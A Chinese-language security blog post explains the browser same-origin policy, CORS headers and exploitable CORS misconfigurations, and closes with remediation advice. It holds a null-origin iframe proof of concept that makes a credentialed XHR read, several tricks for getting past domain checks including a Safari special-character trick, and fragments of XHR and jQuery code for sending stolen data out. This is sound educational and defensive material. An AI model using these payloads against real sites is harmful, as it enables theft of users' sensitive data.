February 19th 2020, 12:00:00 pm
刚入门的时候也学习过CORS,那个时候的对寻找漏洞的标准是:
1 | 修改`Origin:`,使得返回的HTTP字段中的`Access-Control-Allow-Origin: `出现你所输入的值,表明此网站存在CSOR漏洞 |
原理、利用、绕过都没有进一步了解。这次趁着实习的机会,好好的将CORS相关知识总结一下,并对一些基本原理进行一个梳理。
浏览器的同源策略
什么是同源
当两个页面是同源的时候,资源是可以直接进行交互的。但当两个页面来自不同的源却也想进行资源交互的话,就受到了同源策略的约束。那同源策略就是限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。我们先来看看什么是同源。比如说有一个地址是:http://threezh1.com/hello.html,那对于下方的URL来说,同源还是不同源呢?
URL | 是否同源 | 原因 |
---|---|---|
http://threezh1.com/world.html | 同源 | 只有路径不同 |
http://threezh1.com/temp/world.html | 同源 | 只有路径不同 |
https://threezh1.com/temp/world.html | 不同源 | 协议不同(http/https) |
http://threezh1.com:8080/temp/world.html | 不同源 | 端口不同 |
http://api.threezh1.com/temp/world.html | 不同源 | 域名不同 |
从表格中我们得出,两个页面,如果端口和主机都相同,则我们称这两个页面同源。除此之外,在页面中用 about:blank
或 javascript:
URL 执行的脚本会继承打开该 URL 的页面的源。(IE未将端口加入到同源策略的组成部分之中)
修改源
页面可能会因为某些原因而需要改变自身的源,那该怎么进行修改呢?页面可以通过将脚本的document.domain
设置为当前域或者当前域的父域来进行修改源的操作,比如说,现在页面处在http://api.threezh1.com/temp/world.html
,它现在的源是api.threezh1.com
,如果我想要修改它的源为threezh1.com
,也就是它的父域,就需要执行下面的语句:(Ps:修改源不能修改为除了自身域和父域之外的源)
1 | document.domain = "threezh1.com" |
跨源网络访问
刚刚说到,同源策略约束着不同源的资源交互。例如XMLHttpRequest和Fetch API的使用就遵循同源策略。这些交互大概分为以下三类:
- 跨域写操作(Cross-origin writes):例如链接(links),重定向以及表单提交。非简单请求需要添加 preflight(发送一个OPTIONS请求)
- 跨域资源嵌入(Cross-origin embedding):
<script>
嵌入跨域脚本、<link rel="stylesheet" href="...">
嵌入css、<img>
嵌入图片、<iframe>
载入资源等等 - 跨域读操作(Cross-origin reads)
前两项通常是被运行的,而跨域读通常是不被允许的,那该如何允许跨源访问呢?这时候CORS就发挥出它的作用了。
CORS
跨域资源共享(CORS) 是一种机制,通过定义额外的HTTP头来使浏览器能够允许不同源之间的资源交互。这些HTTP头包括哪些呢?
HTTP 请求首部字段
Origin: <origin>
表明预检请求或实际请求的源站。
用于预检请求的HTTP请求首部字段(CORS预检请求详谈):
Access-Control-Request-Method: <method>
用于预检请求。其作用是。将实际请求所使用的 HTTP 方法告诉服务器。Access-Control-Request-Headers: <field-name>[, <field-name>]*
用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。
HTTP 响应首部字段
Access-Control-Allow-Origin: <origin> | *
origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带身份凭证的请求,服务器可以指定该字段的值为通配符,表示允许来自所有域的请求。Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
让服务器把允许浏览器访问的头放入白名单,XMLHttpRequest对象就能够通过getResponseHeader访问到X-My-Custom-Header
和X-Another-Custom-Header
响应头了。Access-Control-Max-Age: <delta-seconds>
指定了preflight请求的结果能够被缓存多久Access-Control-Allow-Credentials: true
指定了当浏览器的credentials
设置为true时是否允许浏览器读取response的内容。
用于预检请求的HTTP响应首部字段:
Access-Control-Allow-Methods: <method>[, <method>]*
用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。Access-Control-Allow-Headers: <field-name>[, <field-name>]*
用于预检请求的响应。其指明了实际请求中允许携带的首部字段。
一个简单的例子:
这里跳过了预检请求,并且数据包也简化了。
1 | 请求数据包: |
从上面的请求中可以看得出来,foo.example.com向example.com发送跨域请求,并且成功获取到数据。
具体HTTP请求与响应例子请参考:HTTP访问控制(CORS)
几种可能利用的CORS配置错误
这里主要记录一下关于CORS漏洞的几种情况以及利用方式,漏洞利用的最终目的是用户只要访问到一个攻击页面就可以获取到用的敏感信息。(还有可以进行缓存投毒,利用面太小就不作记录了) 因为搭建环境复现比较麻烦,这里就不复现一些情况的例子了,打算等在实际情况中遇到再来补充。
从Origin与Credentials值中得出是否可利用
“Access-Control-Allow-Origin” 值 | “Access-Control-Allow-Credentials” 值 | 是否可利用 |
---|---|---|
https://attacker.com | true | 是 |
null | true | 是 |
* | true | 否 |
当然,可以利用的情况不会那么简单。大部分时候是origin的域名部分被校验。所以需要总结一下CORS域名限制的几种绕过。
如何发送origin=NULL的请求
当遇到一个cors可用null值绕过时,用iframe配合data协议,就可以发送一个origin为null的请求。
1 | <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>var req=new XMLHttpRequest();req.onload=reqListener;req.open("get","http://127.0.0.1/test.html",true);req.withCredentials=true;req.send();function reqListener(){alert(this.responseText)};</script>'></iframe> |
可绕过的域名校验
当域名校验不是特别严格时,可以通过以下几种方式进行绕过:
- 在后面加域名 qq.com => qq.com.abc.com
- 将域名拼接 abc.qq.com => abc_qq.com
- 在前面或者在后面加字符 qq.com => abcqq.com / qq.com => qq.comabc.com
配合XSS进行利用
当同源网站中存在一个xss漏洞时,就可以直接使用xss包含cors的payload进行利用。
子域名托管
通过托管一个子域名,可以直接使用子域名或者通过降域来利用,这里只作了解。
Safari浏览器的特殊性质
当遇到这样的正则表达式所校验的域名时:(允许所有“target.local”的子域名的跨域请求,并且这些请求可以来自于子域名的任意端口)
1 | ^https?:\/\/(.*\.)?target.local([^\.\-a-zA-Z0-9]+.*)? |
可以使用:http://www.target.local{.example.com
进行绕过。只需要配置example.com所有子域名的DNS都解析到同一处即可。这种情况基本只出现在Safari浏览器当中。
其他可以利用的字符:
1 | ,&'";!$^*()+=`~-_=|{}% |
利用之XMLHttpRequest发包
方式一:直接作为参数传递到自己搭建的网址
1 | var req = new XMLHttpRequest(); |
方式二:写入到当前网页的文本框
1 | function cors() { |
利用之Ajax - jquery发包
1 | <script src="http://0535code.com/wp-content/themes/d8/js/jquery.js?ver=3.0"></script> |
几种检验与利用的工具
- Brupsuite自带cors检验,但误报率较高
- X-ray检测
- CORScanner
漏洞修复
- 避免使用CORS
- 定义白名单
- 使用安全的协议
- 配置”VARY”头部
- 避免使用“CREDENTIALS”
- 合理配置”Access-Control-Allow-Methods”
- 限制缓存的时间
- 仅配置所需要的头
参考
附录
XMLHttpRequest
AJAX是异步的JavaScript和XML,就是使用XMLHttpRequest对象与服务器通信。那具体该怎么发送http请求呢?下面是一个简单的例子,对test.html发送GET请求,并获取其返回的内容后弹窗:
1 | <button id="ajaxButton" type="button">Make a request</button> |
上方只是一个简单的Get请求,那如果想要发送POST请求并传递一些参数该怎么做呢?来看下方这个例子(部分节选):
1 | httpRequest.open('POST', url); |
可以看到,类型从GET改成了POST,并且设置了一个http header。这里需要注意的是,在进行POST请求时,需要根据要发送的数据设置请求的MIME类型。一般为以下几种类型:
- application/x-www-form-urlencoded 表示在发送前编码所有字符(默认)
- multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。
- text/plain 空格转换为 “+” 加号,但不对特殊字符编码。
- text/html 超文本标记语言文本
除了GET和POST请求的不同之外,XMLHTTPRequest.readyState有这么一些值代表着特别的含义:
- 0 (未初始化) or (请求还未初始化)
- 1 (正在加载) or (已建立服务器链接)
- 2 (加载成功) or (请求已接受)
- 3 (交互) or (正在处理请求)
- 4 (完成) or (请求已完成并且响应已准备好)
更详细的内容请参考: Ajax & 使用 XMLHttpRequest